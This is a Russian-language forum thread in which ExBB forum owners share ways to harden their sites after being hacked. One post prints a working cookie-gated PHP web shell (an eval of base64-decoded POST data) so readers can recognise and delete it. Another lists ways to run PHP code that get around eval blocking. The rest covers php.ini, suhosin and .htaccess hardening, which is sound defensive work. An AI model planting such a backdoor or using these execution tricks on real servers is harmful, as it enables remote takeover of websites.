ExBB Community » » Уязвимости » Защита форума..

Страниц (2): [1] 2 »
 

1. nikk - 22 декабря 2013 — 21:00 - перейти к сообщению
Создать эту тему решил я после того как мои форумы были взломаны...
Предлагаю в этой теме собрать все известные нам способы защиты наших детищ.
Начну я..

Зайдите к себе на форум, в папки форум_1, форум_2, и т.д, внимательно просмотрите свои папки.. Вполне вероятно, вы увидите вот такой примерно файл: 4d370c6a22d6d. php. В файле будет код, примерно такой:

CODE:
<?php
if (isset($_COOKIE["adm"])) {
if (isset($_POST['crc'], $_POST['cmd'])) {
if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) {
eval(gzuncompress(base64_decode($_POST['cmd'])));
} else
echo "repeat_cmd";
}
}
?>


Это значит, Вас "поимели"! Это вредоносный код, удаляйте безжалостно!

Далее.. чтобы вручную не лазить, советую скачать скрипт Айболит..
Ссылка: http://revisium.com/ai/
там все хорошо расписано, зааливайте скрипт в корень, далее анализируйте свои файлы и удаляйте нечисть, которую скрипт обнаружит!
Я с помощью этого скрипта удалил просто неимоверное количество нечисти!

Теперь, если кто знает реальные способы защиты форумов, пишите плиз здесь, будем сообща защищать. Улыбка
(Добавление)
Много говорят про выставлении прав на папки и файлы.. У меня изначально стояли права по умолчанию на сервере, папки 775, файлы 644, и тем не менее, бекдор мне залили на форум.. Значит не так спасают эти права, или я не прав?
Пароль от Тотал Командера менять регулярно, тоже наверное вещь хорошая, что и делаю в последнее время..
2. electron - 23 декабря 2013 — 05:04 - перейти к сообщению
да и сам тотал поменять не помешало бы. та еще дырка... юзайте Filezilla или CuteFTP
3. 1Bot - 23 декабря 2013 — 06:45 - перейти к сообщению
Закрытие возможных путей выполнения залитых на сайт шеллов

1) Включение режима Safe Mode в настройках php.ini safe_mode = on.
Если PHP настроен, как Safe Mode + open_basedir, тогда никакие файлы вне open_basedir не обслуживаются PHP, не стартуют программы, которые находятся вне данной директории.
Если PHP скомпилирован с опцией --enable-safe-mode, то по умолчанию принимает значение On (включено), иначе - Off (выключено).
!!! Данная возможность была помечена УСТАРЕВШЕЙ начиная с версии PHP 5.3.0 и была УДАЛЕНА в версии PHP 5.4.0.

Функции, ограниченные в безопасном режиме (Отобразить)

При использовании PHP как модуль Apache пользователь ограничен своей директорией ограничением open_basedir, при использовании PHP как CGI правами пользователя в системе. Если защищенный режим в PHP включать, то с ним возникают проблемы со скриптами, которые хотят писать файлы на диск.

!!! Важно !!! Safe Mode не блокирует функции include(), require(), fopen(), fwrite() и многие другие, не менее полезные для взломщика, который реализует задуманое с помощью остальных функций PHP не прибегая к запуску системных команд, а используя оператор eval().


2) Запрет использования опасных функций. Смотрите /etc/php5/*/php.ini (для разных режимов свои) на предмет disable_functions =
Нельзя запрещать выполнение функций в httpd.conf c помощью disable_functions, эту директиву можно указывать только в php.ini.
Если функция используется в коде и попала в список disable_functions, то выдаст error в браузер (при включенном выводе ошибок), иначе функция просто вернет false;

!!! Важно!!! Опция disable_functions в php.ini на eval() не влияет, так как это не функция, а конструкция языка php.


3) Очень гибкие права доступа к подобным функциям есть в патче для apache suhosin. Можно указать список запрещенных к выполению функции в конфиге конкретного virtualhost с помощью php_admin_value disable_functions.

Можно запретить использование eval()
suhosin.executor.disable_eval = On


Помимо eval() еще есть куча других способов выполнить php код.
Например:
1. $newfunc = create_function('', '};phpinfo();//');
2. preg_replace с модификатором /e
3. обратные ковычки: `ls -lia`
4. и куча других фишек...

З.Ы. Лечите болезнь, а не следствия. Как к Вам заливают шеллы? Можно отключить интерпретацию php в папке uploads, или подобной, проверять заливаемые файлы.
4. Zeg - 23 декабря 2013 — 09:00 - перейти к сообщению
Скрипты были залиты даже не в uploads, а прямо в папки forumN.
5. 1Bot - 23 декабря 2013 — 12:52 - перейти к сообщению
Zeg пишет:
Скрипты были залиты даже не в uploads, а прямо в папки forumN.

Тут важно посредством чего они были залиты, чем куда они попали.
6. nikk - 23 декабря 2013 — 13:14 - перейти к сообщению
1Bot пишет:
1) Включение режима Safe Mode в настройках php.ini safe_mode = on.

прошу пояснить, это вообще где делается?
(Добавление)
1Bot пишет:
Как к Вам заливают шеллы? Можно отключить интерпретацию php в папке uploads, или подобной, проверять заливаемые файлы.

можно поподробнее?
7. 1Bot - 23 декабря 2013 — 14:57 - перейти к сообщению
nikk пишет:
1Bot пишет:
1) Включение режима Safe Mode в настройках php.ini safe_mode = on.

прошу пояснить, это вообще где делается?

Смотрите файлы /etc/php5/*/php.ini (для разных режимов свои)

nikk пишет:
1Bot пишет:
Можно отключить интерпретацию php в папке uploads, или подобной, проверять заливаемые файлы.

можно поподробнее?


Если сайт как-то взломают, то скрипты (шеллы и т.д) закачают в папку с правами 777 (например в папку с картинками).
Можно через .htaccess запретить исполнения скриптов в этих папках.

Во все каталоги, доступные для записи, закачиваем (или добавляем строчки к существующему) .htaccess с содержимым:

CODE:
php_flag engine 0
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp

<Files ~ "\.(php[2-5]?|cgi|pl|fcgi|fpl|phtml|shtml|asp|jsp)$">
Deny from all
</Files>

<Files .htaccess>
order allow,deny
deny from all
</Files>

Этим самым мы отключаем PHP в данном каталоге и заставляем для скриптов закрыть доступ.
Можно конечно попробовать загрузить и перезаписать сам .htaccess. Поэтому необходимо запретить конкретно у .htaccess права на запись.
CODE:
# chmod a-w .htaccess
8. nikk - 23 декабря 2013 — 15:05 - перейти к сообщению
1Bot пишет:
Во все каталоги, доступные для записи,

Не сочтите за наглость, но можно спросить, какие именно каталоги? Папки форум_xxx? Папок очень много: мемберс, javascript, modules, include и пр... Может тупо во все папки ?
9. nikk - 23 декабря 2013 — 15:11 - перейти к сообщению
Кто еще знает какие способы защиты? Не стесняйтесь, пишите здесь, это ведь многих интересует...
10. Иван Петров - 23 декабря 2013 — 15:42 - перейти к сообщению
Важно еще хостинг нормальный использовать. Все мои проблемы были именно из-за дырявого хостинга, это я теперь точно знаю Улыбка
11. Alexandr - 23 декабря 2013 — 17:39 - перейти к сообщению
nikk, хотел спросить для интереса - у Вас на сервере какая версия php используется?
12. 1Bot - 23 декабря 2013 — 19:23 - перейти к сообщению
nikk пишет:
какие именно каталоги?

Можете смело записывать во все каталоги, кроме корневого, в котором установлен форум.
13. Alexandr - 23 декабря 2013 — 20:10 - перейти к сообщению
Я где-то с год назад тоже задавал некоторые вопросы про безопасность в соответствующей профильной теме, однако почему-то никого этот вопрос особо не заинтересовал, уверяли что "залить" просто так ничего невозможно..
В случае с nikk'ом важно понять как всё таки могло что-то левое попасть в папки forum_n, через ftp или же "извне" кто-то постарался?
14. Zeg - 24 декабря 2013 — 07:20 - перейти к сообщению
Я больше склоняюсь к дырявости хостера, но и, как выяснилось, с безопасностью на компе Никка тоже были вопросы. Посмотрим дальше что будет.
15. deddedi - 24 июля 2016 — 20:12 - перейти к сообщению
Спасибо, а вот так не верное решение????
Цитата:
php_flag engine 0
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
Options -Indexes

Яндекс.Метрика   

Powered by ExBB
[Script Execution time: 0.0506]     [ ]